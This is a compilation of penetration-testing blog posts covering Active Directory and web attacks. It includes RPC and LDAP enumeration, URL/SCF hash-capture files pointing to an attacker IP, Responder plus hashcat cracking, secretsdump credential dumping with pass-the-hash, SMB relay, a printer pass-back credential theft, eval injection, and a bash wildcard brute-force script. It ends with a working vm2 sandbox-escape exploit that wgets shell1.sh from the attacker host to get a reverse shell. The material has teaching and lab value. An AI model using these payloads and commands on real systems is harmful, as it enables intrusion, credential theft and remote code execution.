[Exploitation] RPC Domain Enumeration

Remote Procedure Call (RPC) is a protocol that allows programs to execute procedures on a remote server as if they were local. In the context of domain enumeration, RPC can be leveraged to extract information from Windows-based systems within a network. The enumeration process involves gathering details about users, groups, shares, and other resources within a Windows domain.

NetSession Enumeration:

  • By using RPC, attackers can enumerate active sessions on a target machine. This provides information about users who are currently connected to the system.

NetShare Enumeration:

  • RPC can be utilized to enumerate shared resources on a system, revealing information about accessible network shares and permissions.

NetLocalGroup Enumeration:

  • RPC can be employed to enumerate local groups on a remote machine. This provides insights into the users and groups present on the system.

NetUser Enumeration:

  • RPC can be used to enumerate user accounts on a target machine, helping attackers identify potential targets or gain insights into the user landscape.

NetGroup Enumeration:

  • RPC allows enumeration of domain groups, providing information about group memberships and relationships within the domain.

How to

1. Having a valid AD username and password, in our case (User: active.htb\SVC_TGS, Password: GPPstillStandingStrong2k18). We will authenticate using rpcclient

  • rpcclient -U "SVC_TGS" 10.10.10.100
  • GPPstillStandingStrong2k18

2. Enumerate the domain users

  • enumdomusers

Note: Focus on the administrator users

3. You can also enumerate the groups, there we may find “admin” group

  • enumdomgroups

4. Show the users that belong to a group, we will use the group RID

  • querygroupmem 0x200

Note: This will display the RID of the users members of this group, in our case rid:[0x1f4]

5. We can now query for this user (0x1f4)

  • queryuser 0x1f4

Note: We can see we got the administrator user as a result

Recommendations:

Authorization and Legitimate Use:

  • Ensure that any RPC enumeration activities are authorized and conducted in a legitimate testing or administrative context.

Logging and Monitoring:

  • Monitor network logs for unusual RPC-related activities, which could indicate potential enumeration attempts.

Minimize Attack Surface:

  • Minimize the attack surface by restricting unnecessary RPC services and securing network configurations.

Regular Audits:

  • Conduct regular security audits to identify and remediate vulnerabilities that could be exploited through RPC enumeration.

Keep Systems Updated:

  • Regularly update and patch systems to address any vulnerabilities that could be targeted during RPC domain enumeration.

[Active Directory] URL file attacks

A URL file attack captures account hashes via a user accessing a folder that contains a specially crafted file that forces the user to request an icon off the attackers machine. The resource does not exist though. The act of initiating a connection to the attackers machine is how the hash is captured. Also note that the user does not need to open the file, nor is their any indication that anything has happened behind the scenes. They just need to open the folder that the file is located in which makes this a perfect for shared folders.

This attack is only applicable to intranet communication and does not work with outside network.

This is a post compromise attack and following are the conditions

  • There is a file share accessible across the network
  • Attacker has compromised at least one machine which has access to the file share with write permissions

1. Create The File

The file name must begin with either a “@” symbol or a “~” symbol and the filetype must be “url”. Example: “@readme.url”

2. Contents of the file

[InternetShortcut]
URL=http://google.com
WorkingDirectory=%username%
IconFile=\\<attacker IP>\%USERNAME%.icon
IconIndex=1

Extra

The same can be done with an scf file. Example: @readme.scf

[Shell]
Command=2
IconFile=\\<attacker IP>\Share\test.ico
[Taskbar]
Command=ToggleDesktop

Explanation

  • [InternetShortcut] is a header line that specifies the file type and indicates that the following lines are instructions for an internet shortcut
  • URL=anyurl specifies the URL of the website or web page that the shortcut should launch. The actual URL should be provided in place of the “anyurl” placeholder
  • WorkingDirectory=anydir specifies the default working directory for the shortcut. In most cases, this will be the directory in which the shortcut file is located. You can replace the “anydir” placeholder with the full path of the directory, if necessary
  • IconFile=\\x.x.x.x\%USERNAME%.icon specifies the location of the icon file to use for the shortcut. The icon file can be stored on a remote computer, which is specified by the IP address “x.x.x.x”. The “%USERNAME%” placeholder is replaced with the current user’s username. The “.icon” extension specifies the type of file that contains the icon data
  • IconIndex=1 specifies which icon in the specified icon file should be used for the shortcut. In this case, the number “1” references to the first icon in the file for use. If the icon file contains multiple icons, choose the number accordingly to select a different icon

Exploitation

1. Connect to a share and drop the file (.url or .scf) (@readme.url or @readme.scf) @ in the name sets the file at the top, make sure the file has the proper file type

2. Start responder with HTTP and SMB is turned ON

  • sudo responder -I eth0 -w -b -v -F

3. Wait for someone to connect to the share, and, you’ll get data back

Cracking with hashcat

1. Identify the hash type number using (https://hashcat.net/wiki/doku.php?id=example_hashes)

  • search NTLMv2

https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-17.png

2. Knowing the hash ID from https://hashcat.net/ we can proceed to use the hash file, and a wordlist

  • hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-18.png

Note: as you can see Status: Cracked, and the password is displayed next to the hash, Password: Kyuubi123

Cracking using John

1. Identify the hash type using --list=format

  • john --list=formats | awk -F", " '{for (i=1; i<=NF; i++) print $i}' | grep -i ntlm

https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-19.png

2. Run john against our hash file, set the hash type and the wordlist

  • john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 hash.txt

https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-20.png

Source

https://swepstopia.com/url-file-attack/

https://www.hackingloops.com/url-file-attack-and-printnightmare/

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#scf-and-url-file-attack-against-writeable-share

https://zsecurity.org/url-file-attacks-active-directory-pentesting/

https://www.sevenlayers.com/index.php/blog/494-url-file-attacks

[Active Directory] Post-Compromise Enumeration

In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user (or machine). This makes LDAP an interesting protocol for gathering information in the recon phase of a pentest of an internal network. A problem is that data from LDAP often is not available in an easy to read format.

Generally, you'll need at least the following permissions:

Read Access to Active Directory:

  • The account should have read access to the Active Directory structure to retrieve information about users, groups, and other directory objects.

Replicating Directory Changes:

  • For more detailed information, such as the last logon time of users, the account may need the "Replicating Directory Changes" permission. This permission is required for attributes that are not included in the default read access.

Administrative Privileges (Optional):

  • In some cases, ladpdumpdomain may require administrative privileges to retrieve certain information. If you're looking to gather data on administrative groups or accounts, the account running the tool may need to be a member of a group with sufficient privileges.

Network Access:

  • Ensure that the account has the necessary network access to connect to the domain controller and query Active Directory.

Ldapdomain enum

ldapdomaindump is a tool used for dumping information from Active Directory, including user accounts, group memberships, and other relevant details, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable json and csv/tsv/greppable files.

You can find the tool on GitHub or other reliable sources. (https://github.com/dirkjanm/ldapdomaindump)

The tool was designed with the following goals in mind:

  • Easy overview of all users/groups/computers/policies in the domain
  • Authentication both via username and password, as with NTLM hashes (requires ldap3 >=1.3.1)
  • Possibility to run the tool with an existing authenticated connection to an LDAP service, allowing for integration with relaying tools such as impackets ntlmrelayx

The tool outputs several files containing an overview of objects in the domain:

  • domain_groups: List of groups in the domain
  • domain_users: List of users in the domain
  • domain_computers: List of computer accounts in the domain
  • domain_policy: Domain policy such as password requirements and lockout policy
  • domain_trusts: Incoming and outgoing domain trusts, and their properties

As well as two grouped files:

  • domain_users_by_group: Domain users per group they are member of
  • domain_computers_by_os: Domain computers sorted by Operating System

How to use ldapdomaindum

1. Execute the script (it is pre-installed in newer Kali Linux) against the Domain Controller server

  • sudo ldapdomaindump ldaps://192.168.0.100 -u 'lab.local\vry4n' -p IamAdmin123 -o data

ldapdomaindump: This is likely the name of a tool or script designed for extracting information from an LDAP (Lightweight Directory Access Protocol) server. It's used to query and retrieve data from an LDAP directory.

ldaps://192.168.0.100: This specifies the LDAP server's address and protocol. In this case, it's using LDAPS, which is the secure version of LDAP over TLS/SSL. The server is located at the IP address 192.168.0.100.

-u 'lab.local\vry4n': This option specifies the username to be used for authentication. The provided username is in the format domain\username, where lab.local is the domain and vry4n is the username.

-p IamAdmin123: This option specifies the password associated with the provided username. In this case, the password is set to ‘IamAdmin123’.

-o data: creates a new folder and saves the files there

2. Inspect all the files looking for users, computers, trusts, groups, policies

Post enumeration using Bloodhound

1. Set up the tool

  • sudo pip install bloodhound

2. Run neo4j

  • sudo neo4j console

3. Navigate to the address provided by neo4j,in this case http://localhost:7474/

  • username: neo4j
  • password: neo4j

Note: After logging in you might be asked to change the password

4. Download and run bloodhound

  • wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.0.2/BloodHound-linux-x64.zip
  • unzip BloodHound-linux-x64.zip
  • cd BloodHound-linux-x64
  • sudo ./BloodHound --no-sandbox

4. Use your neo4j credentials

  • username: neo4j
  • password: newneo4j

5. Inject data into Bloodhound, you can use bloodhound tool for this

  • mkdir bloodhound-results
  • cd bloodhound-results
  • sudo bloodhound-python -d lab.local -u vry4n -p IamAdmin123 -ns 192.168.0.100 -c all

bloodhound-python: This is a tool used for Active Directory (AD) enumeration and analysis. It helps identify attack paths, permissions, and potential security risks within an AD environment.

-d lab.local: Specifies the Active Directory domain to target, in this case, it's set to 'lab.local'.

-u vry4n: Specifies the username to be used for authentication. In this case, the username is 'vry4n'.

-p IamAdmin123: Specifies the password associated with the provided username. Here, the password is set to 'IamAdmin123'.

-ns 192.168.0.100: Specifies the target Active Directory server's IP address. It's set to '192.168.0.100'.

-c all: Specifies the collection method. In this case, 'all' indicates that all available data should be collected. This includes information about domains, users, groups, computers, group memberships, permissions, etc.

6. In Bloodhound click on “upload data”, selectthe .json files, click open

7. Once data is loaded it is displayed in Bloodhound, you can start your searches and mapping relationships

Post enumeration using Plumhound

1. We need to run this tool on top of Bloodhound & Neo4j which should be running (https://github.com/PlumHound/PlumHound) , to set up this tool

  • git clone https://github.com/PlumHound/PlumHound.git
  • cd PlumHound
  • sudo pip3 install -r requirements.txt

2. Run the tool to do a test, using neo4j password

  • sudo python3 PumHound.py --easy -p newneo4j

3. Make sure all the tasks completed

4. Knowing that the test completed, now you can run a task, read PlumHound documentation to know about tasks, this will create a new folder with a Report.zip file

  • sudo python3 PumHound.py -x tasks/default.tasks -p <neo4j password>

5. Unzip and start looking at the data

  • cd reports
  • unzip Reports.zip

Health check with PingCastle

1. Having remote access to the computer we can run PingCastle executable, Download the tool from (https://www.pingcastle.com/download/)

2. Using cmd or powershell run the executable

  • .\PingCastle.exe

3. Select the type of check, in this case I’ll select 1. HealthCheck, then enter the domain

4. It may take some minutes until it completes, it creates 2 files with data .html & .xml

5. opening this file we get a lot of information about the domain, and possible misconfigurations.

[Active Directory] Dumping credentials with impacket-secretsdump

Impacket SecretsDump is a powerful tool used in penetration testing and ethical hacking for extracting plaintext credentials and other sensitive information from Windows systems. Developed in Python, Impacket is an open-source collection of Python classes for working with network protocols. SecretsDump, a part of the Impacket suite, focuses specifically on extracting credentials and secrets from Windows machines.

Hive Details Format or credential material
SAM stores locally cached credentials (referred to as SAM secrets) LM or NT hashes
SECURITY stores domain cached credentials (referred to as LSA secrets) Plaintext passwords

LM or NT hashes

Kerberos keys (DES, AES)

Domain Cached Credentials (DCC1 and DCC2)

Security Questions (L$SQSA<SID>)

SYSTEM contains enough info to decrypt SAM secrets and LSA secrets N/A

Capabilities:

  • Credential Extraction
  • Kerberos Ticket Extraction
  • NTLM Hash Dumping
  • Local and Remote Operations
  • Pass-the-Ticket (PTT) Attack

How to use

1. Display the tool help

  • impacket-secretsdump -h

2. Remote dumping of SAM & LSA secrets

  • impacket-secretsdump lab.local/vry4n:IamAdmin123@192.168.0.101

3. dump the NTLM from DC, Active directory users

  • impacket-secretsdump lab.local/vry4n:IamAdmin123@192.168.0.100 -just-dc-ntlm

4. Remote dumping of SAM & LSA secrets (pass-the-hash)

  • secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
  • impacket-secretsdump lab.local/administrator@192.168.0.100 -hashes aad3b435b51404eeaad3b435b51404ee:702262e2d64f9c0df2bec8ca45ff2985

5. Remote dumping of SAM & LSA secrets (pass-the-ticket)

  • secretsdump.py -k 'DOMAIN/USER@TARGET'

6. Offline dumping of LSA secrets from exported hives

  • secretsdump.py -security '/path/to/security.save' -system '/path/to/system.save' LOCAL

7. Offline dumping of SAM secrets from exported hives

  • secretsdump.py -sam '/path/to/sam.save' -system '/path/to/system.save' LOCAL

8. Offline dumping of SAM & LSA secrets from exported hives

  • secretsdump.py -sam '/path/to/sam.save' -security '/path/to/security.save' -system '/path/to/system.save' LOCAL

[Active Directory] SMB Relay attack

SMB is a network protocol used by Windows-based systems to share files, printers, and other resources. In an SMB relay attack, an attacker intercepts and relays authentication messages between a client and a server. The attacker essentially tricks the systems into thinking they are communicating with each other when, in fact, the attacker is mediating the conversation.

SMB signing verifies the origin and authenticity of SMB packets. Effectively this stops MiTM SMB relay attacks from being successful. If this is enabled and required on a machine, we will not be able to perform a successful SMB relay attack.

Example of SMB communication

  • NetBIOS session established between the client and the server,
  • Server and client negotiation the SMB protocol dialect,
  • Client logs on to the server with the proper credentials,
  • Client will connect to a shared resource hosted on the server (i.e. wireless printer),
  • Client opens a file on the share, and,
  • Client reads or edits the requested resource. That would be a top-level overview of what happens during a regular SMB exchange.

Systems that are vulnerable to this attack have SMB signing configured to the following:

  • SMB Signing enabled but not required
  • SMB Signing disabled

Systems that are not vulnerable to this attack have SMB signing configured to the following:

  • SMB signing enabled and required

By default, only Domain Controllers have SMB signing set to required. However, Microsoft is now beginning to make this the default settings for all clients systems starting with Windows 11 Pro and Enterprise insider builds: https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-signing-required-by-default-in-windows-insider/ba-p/3831704

Requirements

  • SMB signing must be disabled or not enforced on the target
  • Must be on the local network
  • Relayed user credentials must be admin on machine for any real value, for example; local admin to the target machine or member of the Domain Administrators group.

Preparation

1. SMB & HTTP modules should be OFF in responder tool (/usr/share/responder/Responder.conf)

  • sudo vi /usr/share/responder/Responder.conf

2. Run responder to verify the modules are turned off

  • sudo responder -I eth0 -w -b -v -F

Identification

1. Scan the target for smb2 security mode

  • nmap --script=smb2-security-mode.nse -p445 192.168.0.101 -Pn

Exploitation

1. Create a list of target hosts

  • vi targets.txt
  • cat targets.txt

2. Start responder

  • sudo responder -I eth0 -w -b -v -F

3. Start impacket-ntlmrelayx

  • impacket-ntlmrelayx -tf targets.txt -smb2support

4. Wait for a failed attempt from a user (local administrator or domain admin) to connect to SMB share using the wrong server name so DNS fails

Note: impacket-ntlmrelayx dumps SAM accounts (usernames & hashes)

Interactive mode (Shell)

1. Use Impacket-ntlmrelayx interactive mode (-i)

  • impacket-ntlmrelayx -tf targets.txt -smb2support -i

2. The tool started a new shell on port 11000, so now, you need to connect to it using your attack machine

  • nc 127.0.0.1 11000

3. Use help command to display the list of commands allowed to use

  • help

4. Sample of running commands

  • shares
  • use C$
  • ls

Run commands

1. You can also run commands as soon as you receive a connection using the flag (-c)

  • impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"

Note: depending on the version of ntlmrelax this may fail

Recommendations

Enable SMB Signing on all devices

  • Pro: Completely Stops the attack.
  • Con: can cause performance issues with the file copies.

Disable NTLM authentication on network

  • Pro: Completely stops the attack.
  • Con: If kerberos stops working, Windows default back to NTLM.

Accounting tiering:

  • Pro: Limits domain admins to specific tasks(e.g. only log onto servers with need of DA)
  • Con: Enforcing the policy may be difficult.

Local admin restriction:

  • Pro: Can prevent a lot of lateral movement.
  • Con: Potential increase in the amount of service desk tickets.

Sources

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/smb-relay

https://globalt4e.com/ataques-smb-relay/

https://github.com/m4lal0/smbrelay

https://heimdalsecurity.com/blog/what-is-an-smb-relay-attack/

[Active Directory] Printer Passback attack

I got this article from (https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack)

What is an MFP and MFP Hacking anyway?

Multi-Function Peripherals (MFPs) are an underutilized target in the realm of pen testing. When compared against other high-value targets, MFP hacking appears to be the low man on the totem pole. Penetration testers frequently attack other targets like web applications, file servers, and domain controllers. Too often, the thought is: Why waste your time on printers when you can attack things like systems potentially resulting in:

  • Credential Disclosure
  • File System Access
  • Memory Access

However, as illustrated by a recent and surprisingly interesting printer penetration test engagement, it turns out that a successful MFP breach can result in discovering all of the above findings, plus more. The best part is that MFP security and maintenance is often forgotten, potentially resulting in a quick win for someone looking to gain entry or escalate their privileges in a compromised network.

MFPs are the clunky pile of plastic typically located in your corporate closet. They’re equipped with network ports, USB drives, and an iPad looking control panel with its own set of specialized applications. These intelligent devices are capable of much more than the standard copy, print, and fax. Don’t forget the occasional paper jam too.

These industrial ink bleeders are loaded with plenty of functionality, like the ability to integrate with the corporate network to allow for convenient scan/email. This functionality necessitates:

  • Lightweight Directory Access Protocols (LDAP) integration
  • Simple Mail Transfer Protocol (SMTP) integration
  • Network Shares

What kind of information is at risk with an MFP? How can you, as a penetration tester, successfully hack into an MFP?

Did You Say LDAP?

MFP-LDAP integration can be a control mechanism to prevent unauthorized users from printing, copying, scanning, etc. It can also be used for email address lookups when leveraging the scan/copy to email functionality, as well as giving authenticated users access to their home folder located on the network.

Most MFP vendors (HP, Xerox, Ricoh, Canon, etc.) have their version of an LDAP implementation for their specific MFP, but they are generally the same concept. If you input a few attributes here, an IP address there, add a username/password, then you sit back and watch the “magic” happen.

Why MFP Hacking Matters

For the MFP to conduct queries on the LDAP server, the MFP must be configured with the appropriate credentials to access the LDAP server, or set with the ability to pass user credentials to the LDAP server. These credentials should be stored somewhere on the MFP and, if we can capture these credentials, then we may have an entryway into the network, and possibly more.

Introducing the Pass-Back Attack

The stored LDAP credentials are usually located on the network settings tab in the online configuration of the MFP and can typically be accessed via the Embedded Web Service (EWS). If you can reach the EWS and modify the LDAP server field by replacing the legitimate LDAP server with your malicious LDAP server, then the next time an LDAP query is conducted from the MFP, it will attempt to authenticate to your LDAP server using the configured credentials or the user-supplied credentials.

Accessing the EWS

Most MFPs ship with a set of default administrative credentials to access the EWS. These credentials are usually located in the Administrator Guide of the MFP in question and are a good place to start for initial access:

VendorUsernamePasswordRicohadminblankHPadminadmin or blankCanonADMINcanonEpsonEPSONWEBadmin

Another way to potentially access the EWS is through the Printer Exploitation Toolkit (PRET) and Praeda. Both tools are capable of Information Disclosure and Code Execution. If you are looking to utilize the tools for the first time, here are a few resources to help you get started:

Replace LDAP Attributes

Once you are authenticated to the EWS, locate the LDAP settings. During our test on an HP Color LaserJet MFP M477fdn, these settings were in the access control portion of the networking tab.

Next, we removed the existing LDAP Server Address, 192.168.1.100, and replaced it with our IP Address. Next, we saved the settings. Then, we created a Netcat listener on port 389, which was the existing port in the LDAP settings of the MFP.

Capture Credentials

The configuration of this MFP requires users to authenticate before using the available resources like the scan-to-email ability. The next time an unsuspecting user inputs their credentials at the control panel, the MFP will send their information to the LDAP server under our control.

  • nc -L -l 389

If the MFP supports and is configured to store LDAP credentials for email lookup (the model we tested did not), then these credentials can also be passed back to the LDAP server under our control.

Attacking SMTP and Windows Sign-in

This attack can also be conducted against other settings on the MFP that support authentication. Like LDAP, the Windows sign-in can be an alternative method to control access to the MFP resources. We substitute the existing domain with our own domain, and the next time a domain user signs in at the control panel, the credentials are sent to our domain controller.

Conducting attacks on the SMTP configuration can also produce fruitful results. The existing SMTP configuration for this MFP has stored credentials for SMTP authentication that can be passed back to us, after replacing the existing SMTP server with our own SMTP server.

Big Payout with Low Risk

MFPs do not get the attention they deserve when it comes to security. They are usually physically accessible, poorly managed, and shipped with default credentials. All of this, coupled with their payout potential, should make them a prime target for your next engagement.

Exploiting JavaScript EVAL() Code Injection

The eval function in JavaScript is a powerful but potentially dangerous feature. Its primary purpose is to execute arbitrary JavaScript code represented as a string.

There are four standard ways to evaluate strings in JavaScript:

  • eval("code")
  • new Function("code")
  • setTimeout("code", timeout)
  • setInterval("code", interval)

Example

1. This is a calculator application that prints the mathematical results on screen

2. Since, I had access to the source code I found this piece of code that demonstrated how the eval() function is in use

// Exporting an object with a method named 'calculate'
module.exports = {
    calculate(formula) { // Try block to handle potential errors during execution
        try {
// Using eval to execute a dynamically created function
// The function is created using a template literal, incorporating the 'formula' parameter
// The closing parentheses () immediately follows the function body, invoking the function. This pattern is known as an Immediately Invoked Function Expression (IIFE).
            return eval(`(function() { return ${ formula } ;}())`);
        
// Catch block to handle potential errors, specifically SyntaxError
        } catch (e) {
// Checking if the caught error is an instance of SyntaxError
            if (e instanceof SyntaxError) {
// Returning an error message if a SyntaxError occurs
                return 'Something went wrong!';
            }
        }
    }
}

Exploitation

1. First we need to understand how the application works

2. We try to make it crash

3. We can try to use some JavaScript functions and see if they get executed since this script doesn’t have sanitization we don’t need to worry about

  • process.platform
  • process.cwd()

4. Now we know we can execute commands we can try a more sophisticated command

  • require('child_process').execSync('ls -l').toString()

require('child_process'):

  • This part of the code imports the child_process module in Node.js. The child_process module provides functionality to spawn child processes, allowing you to execute external commands.

.execSync('ls -l'):

  • The execSync function is a synchronous method in the child_process module. It is used to execute shell commands synchronously, meaning the code will block until the command completes. In this case, it runs the ls -l command, which lists the contents of the current directory in long format.

.toString():

  • The result of execSync is a Buffer object containing the output of the command. The .toString() method is then used to convert the Buffer object into a string. This is necessary if you want to work with the command output as a string in your Node.js code.

Recommendations

Avoid eval Completely:

  • The safest approach is to avoid using eval altogether unless absolutely necessary. Most use cases for eval can be replaced with safer alternatives.

Use JSON.parse or Other Specific Functions:

  • If you need to parse JSON data, use JSON.parse instead of eval. JSON.parse is safer and only evaluates valid JSON data, reducing the risk of code injection.

Function Constructors:

  • If dynamic code execution is required, consider using the Function constructor. This is generally safer than eval because it creates a new function scope.

Validate and Sanitize User Inputs:

  • If you must use dynamically generated code, thoroughly validate and sanitize user inputs before incorporating them into the code. Ensure that the input adheres to expected patterns and does not contain malicious content.

Code Review and Static Analysis:

  • Regularly review code for potential security vulnerabilities, including the use of eval. Utilize static analysis tools to identify insecure patterns in your codebase.

[Privilege Escalation] Unquoted Expression Injection Bash

In Bash scripting, when you are working with variables, it's important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.

Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.

Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable's value.

An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, "explode" as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.

Security Vulnerability:

  • When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
  • An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches

Variable expansion:

  • Good: "$my_var"
  • Bad: $my_var

Command substitution:

  • Good: "$(cmd)"
  • Bad: $(cmd)

Should I use backticks?

Command substitutions also come in this form:

  • Correct: "`cmd`"
  • Bad: `cmd`

Quoted Variables:

When you enclose a variable in double quotes (" "), it preserves the entire value of the variable, including spaces and special characters.

var="hello world"
echo "$var"

Unquoted Variables:

When you don't quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.

Word splitting breaks the variable's value into words (typically separated by spaces).

var="hello world"

echo $var

Output:

Token: hello
Token: world

Example

1. In this example I will demonstrate how bash considers "$str1" & $str different

str1="hello world"
str2="hello world"

if [ "$str1" == $str2 ]; then
    echo "Strings are equal."
else
    echo "Strings are not equal."
fi

2. In this script we compare 2 strings that are identical but within the if conditional statement we compare "$str1" and str2

3. On the other if I use quotes in the 2 variables "$str1" and "$str2"

Exceptions

There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…

The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:

  • variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
  • assignments: a=$b
  • the magical case command: case $var in … esac
  • the magical context between double-brackets ([[ and ]]) – this is a language of its own.

Scenario

1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.

#!/bin/bash
# Read the content of the file "secret.txt" and store it in the variable "value1" 
value1=$(/usr/bin/cat secret.txt)

# Print a prompt for the user to enter a word 
echo "Enter a word!"
read input1

# Compare the content of "secret.txt" with the user input 
if [[ $value1 == $input1 ]]; then
    echo "Confirmed!"
else
    echo "Incorrect"
fi

2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed

#!/usr/share/python

import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False

# Print the list of characters being tested
print(all1)

# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
    for char in all1:
# Construct a command to execute a script with a guessed password
        command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
        if "Confirmed" in output:
# If confirmed, update the password and print it
            password += char
            print(password)
            break
    else:
# If the loop completes without finding the correct password, set found to True
        found = True

3. Run the script and see the output how and the password deciphered

  • python attack.py

Note: The password is P4ssWorDVry4n

Recommendations

  • Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
  • Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
  • Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
  • If you need to store sensitive information in a file, consider encrypting the file.

Sources

https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page-----933488bfbfff--------------------------------

https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells

https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash

https://copyprogramming.com/howto/why-do-options-in-a-quoted-variable-fail-but-work-when-unquoted#google_vignette

(CVE-2023-30547)[Exploitation] Node.js vm2 module code execution RCE

Node.js vm2 module could allow a remote attacker to execute arbitrary code on the system, caused by a sandbox escape flaw in the handleException() function. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code in host context.

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside `handleException()` which can be used to escape the sandbox and run arbitrary code in host context.

Analysis

As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() in order to instrument the code with handleException() sanitizer function calls.

  • For CatchClause with ObjectPattern the code calls handleException() and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)
  • handleException() function is an alias of thisEnsureThis(), which in turn calls thisReflectGetPrototypeOf(other) (again, an alias of Reflect.getPrototypeOf()) to access the object's prototype (lib/bridge.js:835).

However, this may be proxied through a getPrototypeOf() proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.

An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf() proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function, escaping the sandbox.

Affected Products

Node.js vm2 3.9.16

Exploitation

1. Having an application that can execute nodejs code in a “secure” VM using (vm2) module, we can execute the following code, replace execSync('<command>); with the OS command you want

//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");

//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();

// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command
}`

// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.
console.log(vm.run(code));

2. For testing purposes I will test ping command

  • execSync('ping -c 2 10.10.14.166');

3. First I will capture traffic on my network interface

  • ifconfig
  • sudo tcpdump -i tun0 icmp

4. Now execute the code in the web console that runs nodejs (3.9.16) vm2

5. looking at the CLI console in our machine, we see the traffic reaching us

6. Knowing the command executed, and we receive traffic we can try a reverse shell, first, start a listener in your local machine

  • nc -lvp 4444

7. now execute a bash reverse shell command I created a bash file in my local computer, and transferred it via web service

  • cat shell1.sh
  • python3 -m http.server 8888

8. Then from the website I transferred the shell1.sh into the web server

  • execSync('wget http://10.10.14.166:8888/shell1.sh');
  • execSync('ls -la');

9. Then I ran a command to execute the script

  • execSync('whereis bash');
  • execSync('/usr/bin/bash shell1.sh');

Remedy

This vulnerability was patched in the release of version `3.9.17` of `vm2`. There are no known workarounds for this vulnerability. Users are advised to upgrade.

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/253006

https://github.com/patriksimek/vm2/security/advisories/GHSA-ch3r-j5x3-6q2m

https://www.ibm.com/support/pages/node/6998381

https://github.com/advisories/GHSA-ch3r-j5x3-6q2m

https://www.cve.org/CVERecord?id=CVE-2023-30547

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

[Cyptography] Convert a PuTTY SSH Private key (ppk) to (pem) file

To convert a PuTTY SSH private key to the PEM format, you can use the PuTTYgen tool that comes with PuTTY. PuTTYgen can convert keys between different formats, including PuTTY's own format (.ppk) and the PEM format.

